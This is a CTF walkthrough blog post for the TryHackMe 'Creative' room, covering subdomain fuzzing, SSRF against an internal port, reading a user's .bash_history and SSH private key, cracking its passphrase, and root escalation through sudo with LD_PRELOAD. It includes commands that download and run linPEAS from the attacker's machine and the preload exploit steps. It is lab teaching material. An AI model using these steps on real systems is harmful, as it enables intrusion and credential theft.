T4llmaNL

A tall man in cyber

Tryhackme: Creative

Creative is a well-made and fun CTF challenge, perfect for beginners. This room will help you build a solid reconnaissance and privilege escalation methodology. Some techniques required to conquer this room are commonly encountered across various challenge platforms, making it an excellent starting point for your CTF journey.

Note: I usually set two environment variables in my .profile when beginning a CTF:

  • $ip – the IP address of the target
  • $myip – the IP address of my machine

This enables me to refer to the IP addresses quickly without having to use copy & paste.

Reconnaissance & Footprinting

We start by running nmap on the target IP address to identify open ports and find out what services the machine provides. Usually I run 3 scans in total, one quick scan to find all of the open ports, one scan to identify service versions and one last scan to run default scripts on all open ports. This approach provides a clear and concise output and is generally the most efficient. However, the result here is quite straightforward, so a single scan will do.

# nmap -p- -A -T5 $ip

Starting Nmap 7.60 ( https://nmap.org )

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://creative.thm

We have discovered a typical port 22/80 CTF machine. There are no exploitable vulnerabilities present in the identified service versions. In the output of the http-title script we see that port 80 redirects to creative.thm, which our machine cannot resolve. Let’s add this hostname to our /etc/hosts.

# echo -e "$ip \t creative.thm" >> /etc/hosts

Once we access http://creative.thm, we are greeted by a professional looking website for a web design company.

At this point it is usually a good idea to explore the website and its source code in order to find out how it works and – in the case of a CTF – which parts actually do anything. Reviewing the source code can also uncover specific subdirectories and provide insights into the technologies used to build the site. In this case, there is nothing ultimately useful here, but there are a few points worth noting:

  • The contact form only sends the message as a query parameter in a GET request
  • The user and password fields appear to not be used
  • I played around with the contact form for a bit but did not find any angle that led anywhere
  • There is a menu option components that leads to a separate site showcasing building blocks for the website. Certainly odd, but I did not find anything exploitable here either

Subdirectory Fuzzing

We use ffuf to look for subdirectories. As a wordlists I like two lists from the popular SecLists repository, which we combine into one file in our home directory:

cat /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-{directories,files}-lowercase.txt > ~/weblist

With this list we can fuzz the URL path:

# ffuf -u http://creative.thm/FUZZ -w weblist -fc 404

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : http://creative.thm/FUZZ
 :: Wordlist         : FUZZ: weblist
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response status: 404
________________________________________________

assets                  [Status: 301, Size: 178, Words: 6, Lines: 8]
                        [Status: 200, Size: 37589, Words: 14867, Lines: 686]
                        [Status: 200, Size: 37589, Words: 14867, Lines: 686]
index.html              [Status: 200, Size: 37589, Words: 14867, Lines: 686]
.                       [Status: 200, Size: 37589, Words: 14867, Lines: 686]

Further enumerating the /assets directory reveals 4 common subdirectories, /css, /imgs, /js and /vendors. All of these were already visible from the source code and not surprising. I tried enumerating these directories further but did not find anything useful.

Subdomain Fuzzing

We get our first interesting result when looking for subdomains via the host header:

# ffuf -u http://creative.thm/ -H 'host:FUZZ.creative.thm' -w weblist -fc 404,301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : http://creative.thm/
 :: Wordlist         : FUZZ: weblist
 :: Header           : Host: FUZZ.creative.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response status: 404,301
________________________________________________

beta                    [Status: 200, Size: 591, Words: 91, Lines: 20]

We have found a subdomain, beta.creative.thm! In order to access this domain, we need to once again add it to our hosts file:

# echo -e "$ip \t creative.thm" >> /etc/hosts

Once we access this domain in our browser, we see some suspicious functionality that will ultimately provide us with a foothold.

Initial Access

The website shows a “Beta URL tester”, where we can input a URL and see if it is reachable.

The machine is actually not connected to the internet, so trying http://google.com for example doesn’t work. We can point it at http://creative.thm, though, and we see that it returns the main site, albeit without any embedded content like CSS or JavaScript. When we try it with a nonsense URL we get a very basic page that just says “dead”.

So we found a way to cause the server to make requests on our behalf. We can exploit this via Server Side Request Forgery (SSRF) if the server has no adequate checks and filters in place. For a start, we can issue a request to a listener on our machine to find out more about the application. Staring a listener on our machine:

$ nc -nlvp 8080

We can then put http://<OUR_IP>:8080 in the form and see the request in our terminal

Listening on [0.0.0.0] (family 0, port 8080)
Connection from 10.10.74.25 51976 received!
GET / HTTP/1.1
Host: 10.10.17.83:8080
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

From the response, we can gather some information, for example from the host header. We now know that Python is working in the background, but this does not get us far. Also other common angles like LFI or command injection don’t yield anything. For meaningful results we have to go deeper.

Discovering the internal server

We can point the server at its own loopback address 127.0.0.1, maybe there’s another port open on that IP. Therefore, we capture a form submission with the help of tools like Burp Suite or simply the browser’s development tools. The request we save in the file request.txt and replace the port number with FUZZ so we can enumerate the ports with ffuf.

POST / HTTP/1.1
Host: beta.creative.thm
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://beta.creative.thm
Connection: keep-alive
Referer: http://beta.creative.thm/
Upgrade-Insecure-Requests: 1

url=http://127.0.0.1:FUZZ

To generate a wordlist for ffuf, we use the seq utility to generate a list of all port numbers

seq 1 65536 > ports.txt

Since every request will yield a valid HTTP 200 response, we cannot filter by return code. The simple “Dead” page has a size of 13 bytes, so we can filter the response size using the -fs parameter.

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : POST
 :: URL              : http://beta.creative.thm
 :: Wordlist         : FUZZ: ports.txt
 :: Header           : Accept-Encoding: gzip, deflate
 :: Header           : Origin: http://beta.creative.thm
 :: Header           : Referer: http://beta.creative.thm/
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Host: beta.creative.thm
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Connection: keep-alive
 :: Header           : User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Data             : url=http://127.0.0.1:FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 13
________________________________________________

80                      [Status: 200, Size: 5831, Words: 15, Lines: 32]
1337                    [Status: 200, Size: 422, Words: 2, Lines: 3]

We have found that port 1337 is listening on the loopback address!

Retrieving the SSH key

When we use the beta domain to retrieve the content of http://127.0.0.1:1337, we see a directory listing of the hosts filesystem beginning at the root.

We can continue using the URL tester to poke around the filesystem by prefixing the path with http://127.0.0.1:1337. As we look around for interesting files we can dig down into the home folder and find that there’s a user called saad on the system. Inside their home folder we can already access the user flag, but let’s gain a foothold first, since we need full access for the root flag anyway. The file http://127.0.0.1:1337/home/saad/.bash_history contains the user’s password

whoami pwd ls -al ls cd .. sudo -l echo "saad:[REDACTED]" > creds.txt rm creds.txt sudo -l whomai whoami pwd ls -al sudo -l ls -al pwd whoami mysql -u root -p netstat -antlp mysql -u root sudo su ssh root@192.169.155.104 mysql -u user -p mysql -u db_user -p ls -ld /var/lib/mysql ls -al cat .bash_history cat .bash_logout nano .bashrc ls -al 

This is of no immediate use, since /etc/ssh/sshd_config forbids password login for this user.

Match User saad PasswordAuthentication no 

Maybe it will come in handy later, so let’s note it down. Finally, we access /home/saad/.ssh/id_rsa and download the SSH private key for the user. When we try to log in to the machine, we see that the key is protected with a passphrase:

chmod 600 id_rsa
ssh saad@$taddr -i id_rsa 
Enter passphrase for key 'id_rsa':

Luckily, John the Ripper can help. We convert the file to a format John can understand:

/opt/john/ssh2john.py id_rsa > id_rsa.hash

It takes a few minutes for John to crack the passphrase with the help of rockyou.txt.

john id_rsa.hash --wordlist /usr/share/wordlists/rockyou.txt --format=SSH
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]        (id_rsa)

And with that we help ourselves to a foothold and a nice user flag!

Privilege Escalation

When it comes to elevating my privileges, I like to run a few manual tests first to check for low hanging fruit. First, I do some more internal enumeration, especially checking /home, /tmp and /opt directories. The user’s CLI history is also always interesting; both methods would’ve yielded the user’s password in this case. Also, we should check for files in other places belonging to the user with

find / -user saad 2>/dev/null

as users sometimes hide sensitive notes in random places throughout the system. With the help of the user’s password, we can check sudo permissions as well:

saad@m4lware:~$ sudo -l
Matching Defaults entries for saad on m4lware:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User saad may run the following commands on m4lware:
    (root) /usr/bin/ping

The user can run ping as root. However, there are no ways to exploit this to get an interactive shell according to GTFOBins. Other things we can try:

  • Find binaries with the SUID bit set
  • Check for misconfigured cronjobs or systemd timers
  • Find scripts or git repositories with hardcoded credentials
  • Look for kernel exploits (only run kernel exploits if system crashes are acceptable!)

None of these methods seem to get us anywhere, so let’s bring out the big guns: LinPEAS!

If you don’t know linPEAS yet, make sure you add it to your arsenal. It comes with a plethora of privilege escalation checks and colour-codes its output, so you don’t miss the most likely approaches. Let’s serve linpeas from our machine:

cp /opt/PEAS/linPEAS/linpeas.sh ~
python3 -m http.server 8080

And download and run linPEAS on the target:

wget http://<ATTACK_MACHINE_IP>:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -P <USER_PASSWORD_WE_FOUND_EARLIER>

When we look at the output, we see that we missed something during our initial checks.

The environment variable LD_PRELOAD specifies shared libraries that will be loaded before executing a command. By setting the option env_keep+=LD_PRELOAD, this variable persists when commands are run under a different user. This can be exploited to run arbitrary code. Fortunately, the script also links us to an article on HackTricks on how to exploit this (if you haven’t bookmarked HackTricks yet, you should!)

We compile the code into a libary

gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles

Finally, we gain root access by running ping while preloading our library

sudo LD_PRELOAD=/tmp/pe.so ping 127.0.0.1

Congrats on your root shell and flag!

Any questions, comments or remarks? Feel free to interact with me on Mastodon.

Topics